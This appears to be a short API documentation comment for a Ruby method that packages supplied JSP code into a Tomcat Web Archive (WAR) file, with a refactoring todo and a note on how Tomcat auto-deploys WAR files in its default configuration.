Refactor to return a Rex::Zip::Archive or Rex::Zip::Jar
Creates a Web Archive (WAR) file from the provided jsp code.
On Tomcat, WAR files will be deployed into a directory with the same name as the archive, e.g. foo.war
will be extracted into foo/
. If the server is in a default configuration, deoployment will happen automatically. See the Tomcat documentation for a description of how this works.
